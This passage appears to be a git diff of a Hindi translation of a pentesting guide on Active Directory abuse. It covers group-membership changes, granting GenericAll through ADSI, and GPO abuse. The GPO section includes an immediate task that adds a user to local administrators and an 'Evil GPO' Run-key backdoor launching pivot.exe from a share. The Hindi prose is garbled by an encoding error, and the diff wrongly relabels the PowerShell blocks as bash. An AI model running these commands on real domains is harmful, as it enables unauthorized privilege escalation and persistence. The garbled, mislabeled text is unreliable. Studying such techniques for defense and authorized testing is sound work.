рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдЦреБрдж рдХреЛ рдпрд╛ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЬреЛрдбрд╝рдирд╛ред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдирд╛, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдореВрд╣ рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЬреЛрдбрд╝рдирд╛ рдпрд╛ рд╣рдЯрд╛рдирд╛, рдФрд░ PowerShell рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд╕рджрд╕реНрдпрддрд╛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред -```powershell +рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде, рд╣рдорд▓рд╛рд╡рд░ рд╕рдореВрд╣ рдХреА рд╕рджрд╕реНрдпрддрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рд╕реНрд╡рдпрдВ рдпрд╛ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЬреЛрдбрд╝рдирд╛ред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдирд╛, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдореВрд╣ рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЬреЛрдбрд╝рдирд╛ рдпрд╛ рд╣рдЯрд╛рдирд╛, рдФрд░ PowerShell рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд╕рджрд╕реНрдпрддрд╛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред +```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose @@ -97,7 +97,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ## **WriteDACL + WriteOwner** AD рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдорд╛рд▓рд┐рдХ рд╣реЛрдирд╛ рдФрд░ рдЙрд╕ рдкрд░ `WriteDACL` рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрдирд╛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ `GenericAll` рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджреЗрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ ADSI рд╣реЗрд░рдлреЗрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреВрд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдФрд░ рдЗрд╕рдХреЗ рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛рдУрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рд╡рдЬреВрдж, Active Directory рдореЙрдбреНрдпреВрд▓ рдХреЗ `Set-Acl` / `Get-Acl` cmdlets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рд╕реАрдорд╛рдПрдБ рд╣реИрдВред -```powershell +```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow" @@ -120,20 +120,20 @@ DCSync рд╣рдорд▓рд╛ рдбреЛрдореЗрди рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреБрдирд░реБ **рдПрдХ рджрд┐рдП рдЧрдП рдиреАрддрд┐ рдХреЗ рд╕рд╛рде рдХрдВрдкреНрдпреВрдЯрд░**: рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ GPO рдХрд┐рди рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рдкреНрд░рднрд╛рд╡ рдХреЗ рджрд╛рдпрд░реЗ рдХреЛ рд╕рдордЭрдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓рддреА рд╣реИред `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` -**рдПрдХ рджрд┐рдП рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд▓рд╛рдЧреВ рдиреАрддрд┐рдпрд╛рдБ**: рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдХреМрди рд╕реА рдиреАрддрд┐рдпрд╛рдБ рд▓рд╛рдЧреВ рд╣реИрдВ, `Get-DomainGPO` рдЬреИрд╕реЗ рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +**рдПрдХ рджрд┐рдП рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд▓рд╛рдЧреВ рдиреАрддрд┐рдпрд╛рдБ**: рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдХреМрди рд╕реА рдиреАрддрд┐рдпрд╛рдБ рд▓рд╛рдЧреВ рд╣реИрдВ, `Get-DomainGPO` рдЬреИрд╕реЗ рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред **рдПрдХ рджрд┐рдП рдЧрдП рдиреАрддрд┐ рдХреЗ рд╕рд╛рде OUs**: рдПрдХ рджрд┐рдП рдЧрдП рдиреАрддрд┐ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЗрдХрд╛рдЗрдпреЛрдВ (OUs) рдХреА рдкрд╣рдЪрд╛рди `Get-DomainOU` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред ### GPO рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ - New-GPOImmediateTask рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП GPOs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдп рдмрдирд╛рдиреЗ рдХреЗ рджреНрд╡рд╛рд░рд╛ред рдпрд╣ рдкреНрд░рднрд╛рд╡рд┐рдд рдорд╢реАрдиреЛрдВ рдкрд░ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рд╕рдореВрд╣ рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╡реГрджреНрдзрд┐ рд╣реЛрддреА рд╣реИ: -```powershell +```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` ### GroupPolicy module - Abuse GPO -GroupPolicy рдореЙрдбреНрдпреВрд▓, рдпрджрд┐ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рддреЛ рдирдП GPO рдмрдирд╛рдиреЗ рдФрд░ рд▓рд┐рдВрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдФрд░ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рдмреИрдХрдбреЛрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдорд╛рди рдЬреИрд╕реЗ рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдПрдБ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП GPO рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд▓реЙрдЧ рдЗрди рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ: -```powershell +GroupPolicy рдореЙрдбреНрдпреВрд▓, рдпрджрд┐ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рддреЛ рдирдП GPO рдмрдирд╛рдиреЗ рдФрд░ рд▓рд┐рдВрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдФрд░ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рдмреИрдХрдбреЛрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдорд╛рди рдЬреИрд╕реЗ рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдПрдБ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП GPO рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд▓реЙрдЧрд┐рди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ: +```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` @@ -145,21 +145,21 @@ SharpGPOAbuse рдореМрдЬреВрджрд╛ GPOs рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рди ``` ### рдиреАрддрд┐ рдЕрдкрдбреЗрдЯ рдХреЛ рдордЬрдмреВрд░ рдХрд░рдирд╛ -GPO рдЕрдкрдбреЗрдЯ рдЖрдорддреМрд░ рдкрд░ рд╣рд░ 90 рдорд┐рдирдЯ рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рддреЗрдЬ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд▓рдХреНрд╖рд┐рдд рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ `gpupdate /force` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рддреБрд░рдВрдд рдиреАрддрд┐ рдЕрдкрдбреЗрдЯ рдХреЛ рдордЬрдмреВрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдХрдорд╛рдВрдб рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ GPO рдореЗрдВ рдХрд┐рдП рдЧрдП рдХрд┐рд╕реА рднреА рд╕рдВрд╢реЛрдзрди рдХреЛ рдЕрдЧрд▓реА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЕрдкрдбреЗрдЯ рдЪрдХреНрд░ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд┐рдП рдмрд┐рдирд╛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рдПред +GPO рдЕрдкрдбреЗрдЯ рдЖрдорддреМрд░ рдкрд░ рд╣рд░ 90 рдорд┐рдирдЯ рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рддреЗрдЬ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд▓рдХреНрд╖реНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ `gpupdate /force` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рддреБрд░рдВрдд рдиреАрддрд┐ рдЕрдкрдбреЗрдЯ рдХреЛ рдордЬрдмреВрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдХрдорд╛рдВрдб рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ GPO рдореЗрдВ рдХрд┐рдП рдЧрдП рдХрд┐рд╕реА рднреА рд╕рдВрд╢реЛрдзрди рдХреЛ рдЕрдЧрд▓реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЕрдкрдбреЗрдЯ рдЪрдХреНрд░ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд┐рдП рдмрд┐рдирд╛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рдПред ### рдЕрдВрджрд░ рдХреА рдмрд╛рдд -рдХрд┐рд╕реА рджрд┐рдП рдЧрдП GPO рдХреЗ рд▓рд┐рдП рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдкрд░, рдЬреИрд╕реЗ рдХрд┐ `Misconfigured Policy`, рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЬреИрд╕реЗ `evilTask` рдХреА рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдпреЗ рдХрд╛рд░реНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддреЗ рд╣реИрдВред +рдХрд┐рд╕реА рджрд┐рдП рдЧрдП GPO рдХреЗ рд▓рд┐рдП рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдкрд░, рдЬреИрд╕реЗ рдХрд┐ `Misconfigured Policy`, `evilTask` рдЬреИрд╕реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЕрддрд┐рд░рд┐рдХреНрддрддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдпреЗ рдХрд╛рд░реНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддреЗ рд╣реИрдВред -рдХрд╛рд░реНрдп рдХреА рд╕рдВрд░рдЪрдирд╛, рдЬреИрд╕рд╛ рдХрд┐ `New-GPOImmediateTask` рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди XML рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдп рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯрддрд╛рдУрдВ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддрд╛ рд╣реИ - рдЬрд┐рд╕рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдФрд░ рдЗрд╕рдХреЗ рдЯреНрд░рд┐рдЧрд░реНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рдлрд╝рд╛рдЗрд▓ рджрд░реНрд╢рд╛рддреА рд╣реИ рдХрд┐ GPO рдореЗрдВ рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХреИрд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдиреАрддрд┐ рдкреНрд░рд╡рд░реНрддрди рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдордирдорд╛рдиреЗ рдХрдорд╛рдВрдб рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рдзрд┐ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред +рдХрд╛рд░реНрдп рдХреА рд╕рдВрд░рдЪрдирд╛, рдЬреИрд╕рд╛ рдХрд┐ `New-GPOImmediateTask` рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди XML рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдп рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯрддрд╛рдУрдВ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддрд╛ рд╣реИ - рдЬрд┐рд╕рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдФрд░ рдЗрд╕рдХреЗ рдЯреНрд░рд┐рдЧрд░реНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рдлрд╝рд╛рдЗрд▓ рджрд░реНрд╢рд╛рддреА рд╣реИ рдХрд┐ GPOs рдХреЗ рднреАрддрд░ рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХреИрд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдиреАрддрд┐ рдкреНрд░рд╡рд░реНрддрди рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдордирдорд╛рдиреЗ рдХрдорд╛рдВрдб рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рдзрд┐ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред ### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рдореВрд╣ -GPOs рд▓рдХреНрд╖рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛рдУрдВ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХреА рдЕрдиреБрдорддрд┐ рднреА рджреЗрддреЗ рд╣реИрдВред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рдореВрд╣ рдиреАрддрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реАрдзреЗ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣реЛрдВ, рдЬреИрд╕реЗ рдХрд┐ рд╕реНрдерд╛рдиреАрдп `administrators` рд╕рдореВрд╣ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ GPO рдкреНрд░рдмрдВрдзрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ рдиреАрддрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдирдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдпрд╛ рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛рдУрдВ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +GPOs рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛рдУрдВ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХреА рдЕрдиреБрдорддрд┐ рднреА рджреЗрддреЗ рд╣реИрдВред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рдореВрд╣ рдиреАрддрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реАрдзреЗ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣реЛрдВ, рдЬреИрд╕реЗ рдХрд┐ рд╕реНрдерд╛рдиреАрдп `administrators` рд╕рдореВрд╣ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ GPO рдкреНрд░рдмрдВрдзрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ рдиреАрддрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдирдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдпрд╛ рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛рдУрдВ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рдореВрд╣ рдХреЗ рд▓рд┐рдП XML рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдпрд╣ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рдпреЗ рдкрд░рд┐рд╡рд░реНрддрди рдХреИрд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдЬреЛрдбрд╝рдХрд░, рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ 